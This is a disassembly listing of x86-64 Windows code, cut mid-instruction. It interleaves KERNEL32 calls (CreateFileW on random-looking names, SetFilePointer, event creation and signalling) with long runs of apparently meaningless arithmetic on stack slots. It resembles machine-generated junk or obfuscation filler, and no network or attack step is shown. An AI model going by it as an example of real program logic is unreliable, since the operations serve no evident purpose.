call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xadc], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.OlBURuMejwwMC5Sch2Kw
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x3650], rax
mov rcx, qword [rsp + 0x1290]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1114], eax
mov eax, dword [rsp + 0x7a4]
mov ecx, dword [rsp + 0xa0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xb88], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0xd20a
mov rcx, qword [rsp + 0x1028]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x68c], eax
mov rax, qword [rsp + 0x948]
mov eax, dword [rax]
mov dword [rsp + 0xe10], eax
movzx eax, byte [rsp + 0x51]
movzx ecx, byte [rsp + 0x91]
add eax, ecx
mov byte [rsp + 0x58], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x11e0], rax
lea rax, [rsp + 0x370]
mov qword [0x1400fd208], rax
movzx eax, word [rsp + 0x70]
movzx ecx, word [0x1400fd190]
and eax, ecx
mov word [rsp + 0x1cc], ax
movzx eax, word [rsp + 0x254]
mov word [rsp + 0x198], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0x99ce
mov rcx, qword [rsp + 0x1d10]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x99c], eax
mov rax, qword [rsp + 0x540]
mov rcx, qword [rsp + 0x1038]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x738]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa10]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa80]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x1708], rax
mov rax, qword [rsp + 0xfb0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x82]
sub eax, ecx
mov rcx, qword [rsp + 0xf40]
mov byte [rcx], al
mov rax, qword [rsp + 0xa90]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x348]
shl eax, cl
mov dword [rsp + 0x660], eax
mov rax, qword [rsp + 0x7e0]
movzx eax, word [rax]
mov word [rsp + 0x4f8], ax
movzx eax, word [rsp + 0xe0]
mov rcx, qword [rsp + 0xa98]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x468]
mov word [rcx], ax
mov rax, qword [rsp + 0x620]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9b8]
or rcx, rax
mov rax, rcx
mov qword [0x1400fc3a8], rax
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x9e0], rax
mov rax, qword [rsp + 0xd50]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xd00]
sar rax, cl
mov qword [rsp + 0xa70], rax
mov rax, qword [rsp + 0x1060]
mov rcx, qword [rsp + 0xca0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb68], rax
lea rax, [rsp + 0x7c0]
mov qword [rsp + 0xf30], rax
movsx eax, byte [rsp + 0x61]
movsx ecx, byte [rsp + 0x119]
add eax, ecx
mov byte [rsp + 0x90], al
movzx eax, byte [rsp + 0xb0]
mov rcx, qword [rsp + 0x2e8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xfa], al
mov eax, dword [rsp + 0x47c]
mov rcx, qword [rsp + 0x9c8]
mov qword [rsp + 0x44f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x44f0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x20c], eax
mov eax, dword [rsp + 0x688]
mov dword [rsp + 0x568], eax
movzx eax, word [rsp + 0x7c]
mov word [0x1400fd210], ax
movsx eax, word [rsp + 0x414]
mov rcx, qword [rsp + 0x278]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x140], ax
mov rcx, qword [rsp + 0x1f98]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x468]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x1228]
mov word [rcx], ax
movzx eax, word [rsp + 0x198]
mov word [rsp + 0x1dc], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x46ac
mov rcx, qword [rsp + 0x758]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x27bc], eax
mov rax, qword [rsp + 0x990]
mov rcx, qword [0x1400fc390]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc98], rax
mov rcx, qword [rsp + 0x810]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x10b0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa88]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xfc], al
mov eax, dword [rsp + 0x510]
movzx ecx, al
mov eax, dword [rsp + 0xc8]
shl eax, cl
mov dword [rsp + 0x8e8], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0xf5a1
mov rcx, qword [rsp + 0x31a0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x7a8], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x1270], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x7c07
mov rcx, qword [rsp + 0x1d18]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x484], eax
mov rax, qword [rsp + 0x958]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x4b0]
or eax, ecx
mov word [rsp + 0x414], ax
mov rax, qword [rsp + 0xa98]
movzx eax, word [rax]
mov word [rsp + 0x42c], ax
mov rax, qword [rsp + 0x200]
mov rax, qword [rax]
mov rcx, qword [0x1400fd1b0]
mov qword [rsp + 0x44f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x44f8]
mov rax, qword [rax]
sar rax, cl
mov qword [0x1400fd1c0], rax
mov rax, qword [rsp + 0x9b8]
mov rcx, qword [rsp + 0x1f0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xfb8], rax
mov rax, qword [0x1400fd180]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd30]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x11d0], rax
mov rax, qword [rsp + 0x7f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x120]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xa70], rax
mov rax, qword [rsp + 0xa60]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9e0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x148], ax
mov rax, qword [rsp + 0x820]
movzx eax, byte [rax]
mov byte [rsp + 0x118], al
mov eax, dword [rsp + 0x94]
mov ecx, dword [rsp + 0xb4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x20c], eax
mov rax, qword [rsp + 0xfc0]
mov qword [rsp + 0x1800], rax
mov rcx, qword [rsp + 0x610]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x530]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xfc]
sar eax, cl
mov rcx, qword [rsp + 0xfb0]
mov byte [rcx], al
mov eax, dword [rsp + 0x348]
mov dword [0x1400fd214], eax
mov rax, qword [rsp + 0x190]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc0]
add eax, ecx
mov word [rsp + 0x290], ax
mov rax, qword [rsp + 0xa58]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd0]
and eax, ecx
mov word [rsp + 0x110], ax
mov rax, qword [rsp + 0x7d0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x650]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x114], ax
lea rax, [rsp + 0x950]
mov qword [rsp + 0xb28], rax
mov rax, qword [rsp + 0xa10]
mov rcx, qword [rsp + 0xf30]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xd18], rax
lea rax, [rsp + 0x68]
mov qword [rsp + 0x1bc8], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0xcd09
mov rcx, qword [rsp + 0xb78]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xbc8], eax
mov eax, dword [rsp + 0xc4]
mov rcx, qword [rsp + 0x1008]
mov qword [rsp + 0x4500], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4500]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x568], eax
mov rax, qword [0x1400fd208]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3d0]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x4f8], ax
mov rax, qword [rsp + 0xa60]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x244]
sar eax, cl
mov word [0x1400fc3d0], ax
mov rcx, qword [rsp + 0x1160]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xadc], eax
mov rax, qword [rsp + 0x1e8]
mov rax, qword [rax]
mov qword [rsp + 0x1c30], rax
movzx eax, word [rsp + 0x39c]
movzx ecx, word [rsp + 0x88]
sub eax, ecx
mov word [rsp + 0xd4], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0x249b
mov rcx, qword [rsp + 0x2520]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xccc], eax
mov rax, qword [rsp + 0x358]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x118]
add eax, ecx
mov byte [rsp + 0x132], al
mov eax, dword [rsp + 0x20c]
mov ecx, dword [rsp + 0x168c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa38]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x74]
movsx ecx, byte [rsp + 0xcc]
sub eax, ecx
mov rcx, qword [rsp + 0x968]
mov byte [rcx], al
lea rax, [rsp + 0xb88]
mov qword [rsp + 0x1150], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x3150], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x93db
mov rcx, qword [rsp + 0x1e40]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x8fc], eax
mov rax, qword [rsp + 0x470]
mov rcx, qword [rsp + 0xa68]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x628]
mov qword [rcx], rax
mov rax, qword [rsp + 0x958]
movzx eax, word [rax]
mov word [rsp + 0x270], ax
mov rax, qword [rsp + 0x9e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2a0]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x1400fc3b4], ax
mov rax, qword [rsp + 0x1c30]
mov rcx, qword [0x1400fc388]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb80], rax
mov rax, qword [rsp + 0xb40]
mov rax, qword [rax]
add rax, qword [rsp + 0x11d0]
mov rcx, qword [rsp + 0x618]
mov qword [rcx], rax
movsx eax, word [rsp + 0x290]
movsx ecx, word [rsp + 0x7c]
and eax, ecx
mov word [rsp + 0x1d0], ax
movzx eax, word [rsp + 0x14c]
mov rcx, qword [rsp + 0x468]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x1288]
mov word [rcx], ax
lea rax, [rsp + 0x56c]
mov qword [rsp + 0x12c0], rax
movsx eax, byte [rsp + 0x119]
mov rcx, qword [rsp + 0x508]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x90], al
mov rcx, qword [rsp + 0x17a0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xcf4], eax
mov rax, qword [rsp + 0xa68]
mov rax, qword [rax]
mov qword [rsp + 0x1c20], rax
mov rax, qword [rsp + 0x778]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd30]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x748]
mov qword [rcx], rax
mov rax, qword [0x1400fd158]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x528]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1400fc3c0], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.An1NYso9
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x17b0], rax
movzx eax, word [rsp + 0x160]
movzx ecx, word [rsp + 0x128]
sar eax, cl
mov word [rsp + 0x144], ax
mov rax, qword [rsp + 0x2f0]
movzx eax, byte [rax]
mov byte [rsp + 0x1c0], al
mov rax, qword [0x1400fd138]
mov ecx, dword [rsp + 0xbc4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x678], eax
mov rax, qword [rsp + 0x738]
mov rcx, qword [rsp + 0x1038]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x1088], rax
movsx eax, byte [rsp + 0xfc]
movsx ecx, byte [0x1400fd132]
and eax, ecx
mov byte [rsp + 0x50], al
mov rax, qword [rsp + 0xa68]
mov rcx, qword [rsp + 0x470]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x768]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd8]
mov eax, dword [rax]
mov dword [rsp + 0xe20], eax
mov rax, qword [rsp + 0x7e0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa58]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x7c], ax
lea rax, [rsp + 0x498]
mov qword [0x1400fd218], rax
lea rax, [rsp + 0x16c0]
mov qword [rsp + 0x790], rax
movzx eax, word [rsp + 0x14c]
movzx ecx, word [rsp + 0x198]
sar eax, cl
mov rcx, qword [rsp + 0x9e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x180]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x168]
or eax, ecx
mov rcx, qword [rsp + 0x3d0]
mov word [rcx], ax
lea rax, [rsp + 0xb80]
mov qword [rsp + 0xd78], rax
mov rax, qword [rsp + 0x508]
movsx eax, byte [rax]
movsx ecx, byte [0x1400fd133]
xor eax, ecx
mov byte [rsp + 0x5a], al
mov rax, qword [rsp + 0xd38]
movzx ecx, al
mov rax, qword [rsp + 0x818]
shl rax, cl
mov qword [rsp + 0x1170], rax
mov rax, qword [rsp + 0xd8]
mov eax, dword [rax]
add eax, dword [rsp + 0xb8]
mov dword [rsp + 0x348], eax
mov rcx, qword [rsp + 0x810]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1114], eax
movzx eax, word [rsp + 0x42c]
mov rcx, qword [rsp + 0xf80]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x650]
mov word [rcx], ax
lea rax, [rsp + 0x1370]
mov qword [0x1400fd220], rax
mov rax, qword [rsp + 0x520]
movzx eax, byte [rax]
mov byte [rsp + 0x173], al
mov eax, dword [rsp + 0x3c8]
cdq
mov ecx, 0x25128966
idiv ecx
mov rcx, qword [rsp + 0x340]
mov dword [rcx], eax
lea rax, [rsp + 0x168]
mov qword [rsp + 0xda0], rax
mov rax, qword [rsp + 0xa98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe0]
sar eax, cl
mov word [rsp + 0x13c], ax
movzx eax, byte [rsp + 0xe4]
mov byte [rsp + 0xe6], al
mov rax, qword [rsp + 0x750]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x63c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc98]
mov rcx, qword [rsp + 0xfc0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x188]
mov qword [rcx], rax
movsx eax, word [0x1400fd1dc]
movsx ecx, word [rsp + 0x1a0]
and eax, ecx
mov word [rsp + 0x174], ax
mov rax, qword [rsp + 0x658]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5c]
and eax, ecx
mov word [0x1400fd200], ax
mov rax, qword [rsp + 0x980]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa70]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xd00], rax
lea rax, [rsp + 0xd30]
mov qword [rsp + 0xd48], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x62f6
mov rcx, qword [rsp + 0xa20]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xac0], eax
mov rax, qword [rsp + 0x14a8]
mov rcx, qword [rsp + 0x1038]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7f8]
mov qword [rcx], rax
movsx eax, word [rsp + 0x414]
mov rcx, qword [0x1400fd208]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x110], ax
mov rax, qword [rsp + 0xd28]
mov eax, dword [rax]
mov dword [rsp + 0x640], eax
mov rcx, qword [rsp + 0x11e0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xcf4], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0xea06
mov rcx, qword [rsp + 0x1048]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x260], eax
movsx eax, byte [rsp + 0x81]
movsx ecx, byte [rsp + 0xe6]
xor eax, ecx
mov rcx, qword [rsp + 0x7b0]
mov byte [rcx], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x1728], rax
lea rax, [0x1400fd148]
mov qword [rsp + 0x11c8], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xbb18
mov rcx, qword [rsp + 0x1310]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x8fc], eax
mov rax, qword [rsp + 0x948]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x678]
shl eax, cl
mov rcx, qword [rsp + 0x9c8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0xb0]
mov rcx, qword [rsp + 0x520]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x2f0]
mov byte [rcx], al
mov rcx, qword [rsp + 0x1338]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1390], eax
lea rax, [0x1400fd140]
mov qword [0x1400fd228], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.DY5_nINCplPW7IovtrUIbnFdeUAxlJZK
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x23e0], rax
lea rax, [rsp + 0xe0]
mov qword [rsp + 0xb60], rax
movzx eax, word [rsp + 0x160]
mov rcx, qword [rsp + 0x648]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x114], ax
mov rax, qword [0x1400fc388]
mov rcx, qword [rsp + 0x1c30]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x16c8], rax
mov eax, dword [rsp + 0x670]
mov ecx, dword [rsp + 0x7a4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x63c], eax
lea rax, [rsp + 0x11f]
mov qword [rsp + 0xfd8], rax
mov rax, qword [rsp + 0x11c8]
mov rcx, qword [rsp + 0xf30]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xa68]
mov qword [rcx], rax
movsx eax, word [rsp + 0x98]
movsx ecx, word [rsp + 0x1a0]
sar eax, cl
mov word [rsp + 0x1d8], ax
mov rax, qword [rsp + 0x658]
movzx eax, word [rax]
mov word [rsp + 0x2c0], ax
mov rax, qword [0x1400fd220]
mov rcx, qword [rsp + 0x950]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [0x1400fd1b0]
mov qword [rcx], rax
movzx eax, word [rsp + 0x498]
movzx ecx, word [rsp + 0x84]
add eax, ecx
mov word [rsp + 0x13c], ax
mov rcx, qword [rsp + 0x810]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x1b0]
mov rax, qword [rax]
mov qword [rsp + 0xc58], rax
mov rax, qword [0x1400fd1a8]
mov rcx, qword [rsp + 0x980]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x120], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x71df
mov rcx, qword [rsp + 0x1048]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x518], eax
mov eax, dword [rsp + 0xc8]
mov ecx, dword [rsp + 0x684]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x640], eax
mov rax, qword [rsp + 0x298]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x508]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x11b], al
mov eax, dword [rsp + 0x7a0]
mov rcx, qword [rsp + 0x948]
mov qword [rsp + 0x4508], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4508]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x480], eax
mov rax, qword [rsp + 0x668]
movzx eax, byte [rax]
mov byte [rsp + 0xcd], al
mov rax, qword [rsp + 0xa10]
mov rcx, qword [rsp + 0xf30]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x768]
mov qword [rcx], rax
movsx eax, word [rsp + 0x1d8]
mov rcx, qword [rsp + 0x278]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [0x1400fd1d0]
mov word [rcx], ax
mov rcx, qword [rsp + 0x1290]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movsx eax, word [rsp + 0x174]
movsx ecx, word [0x1400fd130]
sar eax, cl
mov word [rsp + 0x7c], ax
mov rax, qword [rsp + 0x9e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x26c]
sub eax, ecx
mov word [rsp + 0x4f4], ax
movzx eax, word [rsp + 0x198]
movzx ecx, word [rsp + 0x244]
add eax, ecx
mov rcx, qword [rsp + 0x2a8]
mov word [rcx], ax
mov rax, qword [rsp + 0xf40]
movzx eax, byte [rax]
mov byte [rsp + 0xe9], al
mov rax, qword [rsp + 0x1150]
mov rcx, qword [rsp + 0x1050]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa48]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa10]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x188]
mov qword [rsp + 0x4510], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4510]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0xf30]
mov qword [rcx], rax
mov rax, qword [0x1400fd1d0]
movzx eax, word [rax]
mov word [rsp + 0x264], ax
movzx eax, word [rsp + 0x1cc]
movzx ecx, word [rsp + 0x14c]
and eax, ecx
mov rcx, qword [rsp + 0x2a8]
mov word [rcx], ax
mov rax, qword [rsp + 0xd48]
mov rax, qword [rax]
mov qword [0x1400fd230], rax
mov rax, qword [rsp + 0x778]
mov rcx, qword [rsp + 0x16c0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x2008], rax
mov rax, qword [rsp + 0x200]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1370]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd78]
mov qword [rcx], rax
lea rax, [rsp + 0x11d0]
mov qword [rsp + 0x1308], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.3ZELZTcCin8ZlEyR8D2QFr
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x2000], rax
mov rax, qword [rsp + 0x650]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1288]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x114], ax
mov rax, qword [rsp + 0xa38]
mov ecx, dword [rsp + 0x8e4]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xcf0], eax
mov rcx, qword [rsp + 0x610]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x20f0], eax
movzx eax, byte [rsp + 0x109]
mov byte [rsp + 0x10a], al
mov rax, qword [rsp + 0x188]
mov rax, qword [rax]
mov rcx, qword [0x1400fd148]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xa80], rax
lea rax, [rsp + 0x684]
mov qword [rsp + 0xd60], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0xf926
mov rcx, qword [rsp + 0x808]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xcfc], eax
lea rax, [rsp + 0x90]
mov qword [0x1400fd238], rax
movsx eax, word [rsp + 0x78]
movsx ecx, word [rsp + 0x64]
shl eax, cl
mov rcx, qword [rsp + 0x528]
mov word [rcx], ax
mov rax, qword [rsp + 0x788]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x2f8]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x788]
mov word [rcx], ax
mov rcx, qword [rsp + 0x610]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx eax, word [rsp + 0x39c]
mov rcx, qword [rsp + 0x650]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x394], ax
mov rax, qword [rsp + 0xc58]
mov rcx, qword [rsp + 0xa70]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc90], rax
mov eax, dword [rsp + 0x514]
mov dword [rsp + 0x570], eax
mov rax, qword [rsp + 0x100]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x538]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xfd8]
mov byte [rcx], al
xor r9d, r9d
xor r8d, r8d
mov edx, 0x438f
mov rcx, qword [rsp + 0x12c8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xcfc], eax
mov rax, qword [rsp + 0x18a8]
mov rcx, qword [0x1400fc390]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x1408], rax
mov rcx, qword [rsp + 0xf28]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movsx eax, word [rsp + 0x414]
movsx ecx, word [rsp + 0xc0]
sar eax, cl
mov word [rsp + 0x3a8], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.xKJP7nCNj5pjX8mq
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x1b98], rax
mov rax, qword [0x1400fd170]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x144]
add eax, ecx
mov word [0x1400fd1c8], ax
mov rax, qword [rsp + 0x748]
mov rcx, qword [rsp + 0x540]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x790]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2a0]
movzx eax, word [rax]
mov word [rsp + 0x5ac], ax
mov eax, dword [rsp + 0xe10]
mov ecx, dword [0x1400fc384]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x47c], eax
movzx eax, byte [rsp + 0x51]
mov byte [rsp + 0x232], al
mov rax, qword [rsp + 0x470]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x338]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x7c0], rax
mov rax, qword [0x1400fd238]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x119]
shl eax, cl
mov byte [rsp + 0x80], al
mov rax, qword [rsp + 0xd60]
mov ecx, dword [rsp + 0x330]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x79c], eax
mov rax, qword [rsp + 0x740]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x180]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x270], ax
mov rcx, qword [rsp + 0x1210]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x8f0], eax
movzx eax, word [rsp + 0x114]
movzx ecx, word [rsp + 0x150]
add eax, ecx
mov word [0x1400fc3d4], ax
mov rax, qword [rsp + 0x7f8]
mov rax, qword [rax]
mov qword [rsp + 0x2830], rax
mov rax, qword [0x1400fd1e8]
mov rcx, qword [rsp + 0xb28]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa18], rax
movsx eax, word [rsp + 0x64]
movsx ecx, word [rsp + 0x168]
sub eax, ecx
mov word [rsp + 0x4b0], ax
mov rax, qword [rsp + 0x650]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x498]
add eax, ecx
mov word [rsp + 0x418], ax
mov rax, qword [rsp + 0x530]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xbc]
and eax, ecx
mov byte [rsp + 0x80], al
mov rax, qword [rsp + 0x470]
mov rax, qword [rax]
mov qword [rsp + 0x1960], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x9fa9
mov rcx, qword [rsp + 0x808]
